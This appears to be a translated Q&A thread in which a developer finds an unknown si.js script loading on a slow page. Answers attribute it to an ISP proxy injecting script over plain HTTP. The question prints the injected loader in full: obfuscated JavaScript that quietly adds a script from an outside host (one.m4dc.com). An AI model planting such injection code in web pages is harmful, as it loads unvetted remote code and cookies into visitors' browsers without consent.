【问题标题】:Unidentifiable JS script in my project我的项目中无法识别的 JS 脚本
【发布时间】:2018-05-02 11:15:58
【问题描述】:

我正在检查一个加载缓慢的页面,并在 chrome 的检查网络部分中发现了这个 si.js。有人可以帮我理解它是什么。我搜索了 grid.js,找不到任何指向这个 si.js 的链接。 (仔细检查,我可以看到该页面正在重定向到另一个网站“http://one.m4dc.com/j/si.js”。感谢您的帮助 这是屏幕截图

更新! 如果您转到浏览器网址,这就是我得到的 ../js/grid.js

try{var esdmd51='1f4c5553ab20a8809f7f1724448c2f6e'; var d=document;var esdfd5_uri='http://test.domain.com/js/grid.js?m4dc56=156443';if(0!=e6f744){var e6f744=0;esdfd5=!0}else esdfd5=!1;function ldS(e,t){var a=d.createElement("script");a.type="text/javascript",a.readyState?a.onreadystatechange=function(){"loaded"!=a.readyState&&"complete"!=a.readyState||(a.onreadystatechange=null,t())}:a.onload=function(){t()},a.src=e,d.getElementsByTagName("head")[0].appendChild(a)}try{vA=d.currentScript.async,vD=d.currentScript.defer}catch(e){vA=!0}vA||vD?ldS(esdfd5_uri,function(){}):(d.write('<script id="esdfd556443" type="text/javascript" src="'+esdfd5_uri+'" ><\/script>'),d.getElementById("esdfd556443")||ldS(sdfd5_uri,function(){})),esdfd5&&ldS("http://one.m4dc.com/j/si.js",function(){})}catch(e){}

但实际脚本(在本地机器上与原网站上的类似)

https://tympanus.net/Tutorials/ThumbnailGridExpandingPreview/js/grid.js

【问题讨论】:

  • 什么脚本加载这个 JS 文件?
  • 不确定。我检查了所有文件。 grid.js 是一个图片库脚本。以前这个 si.js 链接与​​另一个 js 文件 eform.js 相关(我认为这可能是问题并删除了 eform.js)一旦它被删除,脚本现在与 grid.js 链接
  • 你看过剧本了吗?你能猜到它的作用吗?
  • 谁开发了这个网站?
  • @Luca 不是 .js 方面的专家,但正在检查,为什么页面加载速度较慢

标签: javascript web-inspector


【解决方案1】:

我也遇到了同样的问题。我刚刚发现这个脚本 http://one.m4dc.com/j/si.js 将 cookie 添加到我的网站

当我向我的网站添加 ssl 证书时,问题实际上已解决。我发现服务器 http://one.m4dc.com

巴蒂航空one.m4dc.com ip location info

我正在使用他们的宽带服务。看起来他们的代理服务器正在注入此脚本。他们将此脚本用于恶意目的。

【讨论】:

  • 我也面临这个问题,他们这样做有什么具体原因吗?以及可能的解决方案?
  • 使用 SSL 证书解决了我的问题
【解决方案2】:

如果您遇到类似问题,这可能会对某些人有所帮助。

我遇到了类似的问题,一些未知的 js 文件被注入我的网站。我能够使用 Chrome 开发者工具识别来源。

在对应注入的 JS 文件行中查找启动器列。它将指向损坏/更改的 JS 文件。对我来说,它已经发生了多次,不确定确切的原因。因为我的系统没有恶意软件或广告软件。但是,当用新副本替换损坏的 JS 时问题得到解决,或者如果它是一个库,则最好使用 CDN。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2015-08-17
    • 2023-03-21
    • 1970-01-01
    • 1970-01-01
    • 2014-08-11
    相关资源
    最近更新 更多